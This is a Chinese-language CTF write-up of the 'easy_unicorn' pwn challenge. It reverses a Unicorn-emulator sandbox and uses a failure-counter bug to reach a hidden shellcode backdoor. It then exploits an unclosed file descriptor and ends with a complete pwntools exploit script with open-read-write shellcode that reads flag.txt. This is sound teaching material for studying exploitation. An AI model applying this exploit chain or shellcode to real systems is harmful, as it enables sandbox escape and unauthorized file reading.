easy_unicorn

基于unicorn的“沙盒逃逸”

Posted by b0ldfrev on March 10, 2020

unicorn

Unicorn 是一款非常优秀的跨平台模拟执行框架,该框架可以跨平台执行Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64)等指令集的原生程序。

一些学习资料:

https://bbs.pediy.com/thread-253868.htm

官方实例

easy_unicorn

这是一个由unicorn构建的沙盒功能程序。主程序从文件加载特殊二进制程序xctf_pwn.dump后,再根据自己一套特殊的映射方式,在沙盒里面重新映射并运行新程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  int i; // [rsp+2Ch] [rbp-74h]
  char v9; // [rsp+30h] [rbp-70h]
  int v10; // [rsp+70h] [rbp-30h]
  __int16 v11; // [rsp+74h] [rbp-2Ch]
  int v12; // [rsp+80h] [rbp-20h]
  __int16 v13; // [rsp+84h] [rbp-1Ch]
  unsigned __int64 v14; // [rsp+88h] [rbp-18h]

  v14 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  for ( i = 0; i < argc; ++i )
  {
    if ( !strcmp(argv[i], "-info") )
      show_info = 1;
    if ( !strcmp(argv[i], "-debug") )
      debug = 1;
    if ( !strcmp(argv[i], "-tcode") )
      tcode = 1;
  }
  x86_sandbox::x86_sandbox(&v9, "xctf_pwn.dump", 8LL, (unsigned __int8)show_info);
  v10 = -1869574000;
  v11 = 144;
  v12 = -1869574000;
  v13 = 144;
  v3 = x86_sandbox::operator uc_struct *(&v9);
  uc_mem_write(v3, 140737351970632LL, &v10, 5LL);
  v4 = x86_sandbox::operator uc_struct *(&v9);
  uc_mem_write(v4, 140737351970660LL, &v12, 5LL);
  if ( tcode )
    x86_sandbox::add_code_hook((x86_sandbox *)&v9);
  x86_sandbox::Disable_file_RDWR((x86_sandbox *)&v9);
  x86_sandbox::add_syscall_hook((x86_sandbox *)&v9);
  x86_sandbox::add_unmap_hook((x86_sandbox *)&v9);
  x86_sandbox::show_regs((x86_sandbox *)&v9);
  v5 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "/------------------------Sandbox Start-------------------------\\");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  x86_sandbox::engine_start((x86_sandbox *)&v9);
  v6 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "\\-------------------------Sandbox Exit--------------------------/");
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  x86_sandbox::show_regs((x86_sandbox *)&v9);
  x86_sandbox::~x86_sandbox((x86_sandbox *)&v9);
  return 0;
}

据分析可知,在沙盒中运行的新的程序应该是静态链接的,且功能也有限,它的所有系统调用都通过uc_hook_add来递交给主程序处理。

1
2
3
4
5
6
7
8
9
__int64 __fastcall x86_sandbox::add_syscall_hook(x86_sandbox *uc)
{
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  *((_DWORD *)uc + 2) = uc_hook_add(*(_QWORD *)uc, &v2, 2LL, sandbox_safe_syscall, uc, 0LL, -1LL, 699LL);
  return v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
signed __int64 __fastcall sandbox_safe_syscall(__int64 uc, x86_sandbox *data)
{

............

uc_reg_read(uc, UC_X86_REG_RAX, &v14);
  uc_reg_read(uc, UC_X86_REG_RBX, (char *)&v14 + 8);
  uc_reg_read(uc, UC_X86_REG_RCX, &v15);
  uc_reg_read(uc, UC_X86_REG_RDX, &nbytes);
  uc_reg_read(uc, UC_X86_REG_RSI, v17);
  uc_reg_read(uc, UC_X86_REG_RDI, fd);
  uc_reg_read(uc, UC_X86_REG_RIP, &v19);
  if ( (_QWORD)v14 == 3LL )
  {
    v13 = 0LL;
LABEL_49:
    if ( debug )
      printf("[ rax:0x%llx syscall at %p  ret 0x%llx ] \n", (_QWORD)v14, v19, v13, v11);
    uc_reg_write(uc, 35LL, &v13);
    return 1LL;
  }
  if ( (signed __int64)v14 <= 3 )
  {
    if ( (_QWORD)v14 == 1LL )
    {
      if ( debug )
        printf("sandbox:  sys_write(fd=%d, buf=%p, count:%d)", *(_QWORD *)fd, *(_QWORD *)v17, nbytes, data);
      ptr = malloc(nbytes);
      uc_mem_read(uc, *(_QWORD *)v17, ptr, nbytes);
      write(fd[0], ptr, nbytes);
      free(ptr);
      v13 = nbytes;
    }


............

我hook主程序的engine_start函数,把运行在沙盒里面的程序从0x400000地址开始dump出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t __fastcall my_engine_start_hook(__int64 *a1)
{
  __int64 v1; // r14
  void *v2; // r15
  int v3; // eax

  v1 = *a1;
  v2 = malloc(0x200000uLL);
  uc_mem_read(v1, &dword_400000, v2, 0x100000LL);
  v3 = open("D", 1);
  return write(v3, v2, 0x100000uLL);
}

原附件,patch程序以及dump出的程序下载:https://github.com/b0ldfrev/project/tree/master/pwn/easy_unicorn

dump后的程序再拖入ida就能正常识别了,由于符号表和调用方式的缘故,有一些c库函数的调用无法准确识别,不过可以根据elf中的少量字符串猜测函数功能。

1
2
3
4
5
6
7
8
9
10
11
12
  key_c = ptr->cpuid_1;
  key_d = v3;
  for ( i = 0; i <= 14; ++i )
    *((_BYTE *)&key_c + i) ^= *((_BYTE *)&key_c + i + 1);
  v4 = (unsigned int)key_c;
  printf(
    (__int64)"Your machine-code is \x1B[1;31;5m %08X-%08X-%08X-%08X \x1B[0m\n",
    (unsigned int)key_c,
    HIDWORD(key_c),
    (unsigned int)key_d,
    HIDWORD(key_d));

这个函数中可以看出,cpuid_1可以反推,cpuid_1在unicorn沙盒中获取的值是不变的。

1
2
3
4
5
6
7
8
9
10
11
12
13
  input = get_input_to_hex(ptr_, (__int64)cpuid_1, a3, a4, a5);
  if ( (unsigned int)memcmp((__int64)cpuid_1, input, 16LL) )
  {
    vtable_plus((sandbox *)ptr_);
    puts("\x1B[1;33mtry again\x1B[0m\n");
    result = 0LL;
  }
  else
  {
    puts("WOW. you can really dance. \n");
    result = 1LL;
  }

最后cpuid_1和输入的值to_hex比较16字节,一致就返回1,这里我们反推cpuid_1的值

得出正确密文062F392D417574680083100500080000

再之后就会调用 ` (*((void (__fastcall **)(sandbox *, __int64))ptr.vtable + 1))(&ptr, ptr_3);`

程序中给vtable赋初值的地方

1
2
3
4
5
6
7
__int64 __fastcall sub_40149E(sandbox *ptr)
{
  sub_4013FC(ptr);
  ptr->vtable = off_401900;
  return puts("\n\n############## Safe_Server ####################");
}

1
2
3
4
5
6
7
8
9
10
11
LOAD:0000000000401900 78 14 40 00 00 00+off_401900      dq offset print_safe_mode
LOAD:0000000000401900 00 00                                                     ; DATA XREF: sub_40149E+19o
LOAD:0000000000401900                                                           ; sub_4014F0+Co
LOAD:0000000000401908 28 14 40 00 00 00+                dq offset open_flag
LOAD:0000000000401910 00 00 00 00 00 00+_ZTV12RemoteServer dq 0                 ; offset to this
LOAD:0000000000401910 00 00                                                     ; offset to this
LOAD:0000000000401918 58 19 40 00 00 00+                dq offset _ZTI12RemoteServer
LOAD:0000000000401920 AE 11 40 00 00 00+off_401920      dq offset print_ubuntu  ; DATA XREF: sub_4013E4+8o
LOAD:0000000000401920 00 00                                                     ; sub_4013FC+1Co
LOAD:0000000000401928 C8 11 40 00 00 00+                dq offset backdoor

可以看到最终会调用ptr.vtable + 1也就是open_flag函数里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall open_flag(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  __int64 v3; // rcx
  __int64 v4; // r8
  __int64 result; // rax

  puts("interactive mode Disable\n");
  printf((__int64)"but do you like flag? [Y/n]", a2, v2, v3, v4);
  result = getchar();
  if ( (_BYTE)result != 'n' && (_BYTE)result != 'N' )
  {
    puts("First blood to you ");
    result = get_flag("flag.txt");
  }
  return result;
}

我们程序执行输入正确密文,后报错如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
############## Safe_Server ####################
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
[ Disable system call safe mode ]

Your machine-code is  6C141629-681C0134-05159383-00000808 
You need to get the server passwd from vendor(xxxxxxx@qq.com) with machine-code
your password << 062F392D417574680083100500080000
Your key is 062F392D417574680083100500080000
WOW. you can really dance. 

interactive mode Disable

but do you like flag? [Y/n]y
First blood to you 
sandbox: open(filename=flag.txt, flags=0x0, mode=438) was forbidden
 (�s#-_-)�s  flag.txt not found! why?
Good


##############   ServerEnd  ####################


似乎open这个系统调用在沙盒中被禁用了,去看看主程序在sandbox_safe_syscall函数中的与过滤open调用相关的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall x86_sandbox::file_open(x86_sandbox *uc, const char *str, int flags, unsigned int mode)
{
  unsigned int var_28; // [rsp+8h] [rbp-28h]
  unsigned int oflag; // [rsp+Ch] [rbp-24h]
  unsigned int fd; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  oflag = flags;
  var_28 = mode;
  v8 = __readfsqword(0x28u);
  fd = open(str, flags, mode);
  if ( !fd )
    return fd;
  std::vector<int,std::allocator<int>>::emplace_back<int &>((char *)uc + 16, &fd);
  if ( *((_BYTE *)uc + 40) == 1 )
    return fd;
  printf("sandbox: open(filename=%s, flags=0x%x, mode=%d) was forbidden\n", str, oflag, var_28);
  return 0xFFFFFFFFLL;
}

str,flags,mode这三个参数都是从unicorn沙盒中取出的参数,程序明显在沙盒外实现了open函数调用,分析代码,外层open返回的fd似乎并没有传给unicorn里的程序,直接抛出个forbidden结束。

再去看看沙盒里面的程序,我们没有办法通过open_flag虚表函数直接获取flag,看到它虚表下面有一个后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
LOAD:0000000000401900 78 14 40 00 00 00+off_401900      dq offset print_safe_mode
LOAD:0000000000401900 00 00                                                     ; DATA XREF: sub_40149E+19o
LOAD:0000000000401900                                                           ; sub_4014F0+Co
LOAD:0000000000401908 28 14 40 00 00 00+                dq offset open_flag
LOAD:0000000000401910 00 00 00 00 00 00+_ZTV12RemoteServer dq 0                 ; offset to this
LOAD:0000000000401910 00 00                                                     ; offset to this
LOAD:0000000000401918 58 19 40 00 00 00+                dq offset _ZTI12RemoteServer
LOAD:0000000000401920 AE 11 40 00 00 00+off_401920      dq offset print_ubuntu  ; DATA XREF: sub_4013E4+8o
LOAD:0000000000401920 00 00                                                     ; sub_4013FC+1Co
LOAD:0000000000401928 C8 11 40 00 00 00+                dq offset backdoor


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 backdoor()
{

.....
  __int64 a2; // [rsp+40h] [rbp-510h]
  unsigned __int64 v10; // [rsp+548h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  puts("Welcome to ubuntu shell\n");
  puts("please write your shellcode i will run  [ size_t (*intput)(size_t , size_t , size_t ) ]");
  printf((__int64)"data ptr:%p\n", (__int64)&a2);
  printf((__int64)"data<<", (__int64)&a2);
  read(0LL, (__int64)&a2, 0x500LL);
  printf((__int64)"invoke ptr<<", (__int64)&a2);
  v0 = (__int64 (__fastcall *)(__int64, __int64, __int64))sub_400C26();
  printf((__int64)"arg0<<", (__int64)&a2);
  v1 = sub_400C26();
  printf((__int64)"arg1<<", (__int64)&a2);
  v2 = sub_400C26();
  printf((__int64)"arg2<<", (__int64)&a2);
  v3 = sub_400C26();
  v4 = v0(v1, v2, v3);
  printf((__int64)"ret is 0x%llx\n", v4);

.....

}

有没有办法能调用到这个函数?看到我们输入password出错的地方

1
2
3
4
5
6
7
  if ( (unsigned int)memcmp((__int64)cpuid_1, input, 16LL) )
  {
    vtable_plus((sandbox *)ptr_);
    puts("\x1B[1;33mtry again\x1B[0m\n");
    result = 0LL;
  }

1
2
3
4
5
6
7
8
9
sandbox *__fastcall sub_401120(sandbox *ptr)
{
  sandbox *result; // rax

  result = ptr;
  ++ptr->vtable;
  return result;
}

每当一次错误时,vtable地址会加1,计算一下,输错0x20次就能call到backdoor函数,但是错误超过四次就会报 Connection denied!

1
2
3
4
5
6
7
8
9
    if ( (char)check_count((__int64)&ptr) > 4 )
    {
      puts("\x1B[1;31mConnection denied!\x1B[0m");
      a1 = 0;
      v9 = 0;
      goto LABEL_6;
    }


ptr->count在输入的地方根据输入的长度自增:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sandbox *__fastcall get_input_to_hex(sandbox *ptr, __int64 ptr_3, __int64 a3, __int64 a4, __int64 a5)
{
  char a; // al
  char asci; // [rsp+1Eh] [rbp-2h]
  char input; // [rsp+1Eh] [rbp-2h]
  char count; // [rsp+1Fh] [rbp-1h]

  count = 0;
  printf((__int64)"your password << \x1B[32;1m", ptr_3);
  for ( asci = getchar(); asci != '\n'; asci = getchar() )
  {
    input = asci + (asci < 0 ? 0x80 : 0);
    a = count++;
    if ( a == 0x7F )
      break;
    ptr->input[count] = input;
  }
  printf((__int64)"\x1B[0m", ptr_3);
  ptr->input[count + 1] = 0;
  printf((__int64)"Your key is %s\n", (__int64)&ptr->input[1]);
  to_hex(&ptr->input[1], &ptr->input[1], 64);
  LOBYTE(ptr->count) += count;    // 自增
  return (sandbox *)((char *)ptr + 128);
}

但是这里有个漏洞,当输入password是一个换行符’\n’时,没有进入for循环,count也就永远是0,

所以我们只需要连续输入0x20次’\n’换行符,最后输入一次正确password就能顺利进入backdoor函数。

下面来仔细分析backdoor函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 backdoor()
{

.....
  __int64 a2; // [rsp+40h] [rbp-510h]
  unsigned __int64 v10; // [rsp+548h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  puts("Welcome to ubuntu shell\n");
  puts("please write your shellcode i will run  [ size_t (*intput)(size_t , size_t , size_t ) ]");
  printf((__int64)"data ptr:%p\n", (__int64)&a2);
  printf((__int64)"data<<", (__int64)&a2);
  read(0LL, (__int64)&a2, 0x500LL);
  printf((__int64)"invoke ptr<<", (__int64)&a2);
  v0 = (__int64 (__fastcall *)(__int64, __int64, __int64))sub_400C26();
  printf((__int64)"arg0<<", (__int64)&a2);
  v1 = sub_400C26();
  printf((__int64)"arg1<<", (__int64)&a2);
  v2 = sub_400C26();
  printf((__int64)"arg2<<", (__int64)&a2);
  v3 = sub_400C26();
  v4 = v0(v1, v2, v3);
  printf((__int64)"ret is 0x%llx\n", v4);

.....

}


它实现的功能就是在沙盒程序中,任意shellcode执行。execve肯定不行的,主程序根本没有实现它的系统调用,所以唯一可以动手脚的地方就是open来打印flag值。

观察上面主程序的file_open函数,在调用open之后没有close,这就意味着我们打开了一个文件描述符,默认最小原则那就是3,所以我们可以执行一次open后直接用read读取fd=3,将flag读入unicorn内存,再write泄露。

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn_debug import *
context(os='linux', arch='amd64', log_level='debug')

p= process('./x86_sandbox')

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk ''".format(p.pid)).readlines()[1], 16)
        print "breakpoint_addr --> " + hex(text_base + 0x202040)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr))) 

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

for i in range(0x20):
  ru("<< ")
  sl('')

ru("<< ")
sl("062F392D417574680083100500080000")

shellcode = '''
call orw
.asciz "flag.txt"
orw:
pop rdi
xor rdx, rdx
xor rsi, rsi
mov eax, 2
syscall
xor rax, rax
mov edi, 3
mov edx, 0x100
mov rsi, rsp
syscall
mov eax, 1
mov edi, 1
mov rsi, rsp
mov edx, 0x100
syscall
'''
shellcode = asm(shellcode)
ru("ptr:")
ptr = int(p.recvline().strip(), 16)
print hex(ptr)

sla("data<<", shellcode)
sla("ptr<<", str(ptr))
sla("arg0<<", str(ptr))
sla("arg1<<", str(ptr))
sla("arg2<<", str(ptr))

p.interactive()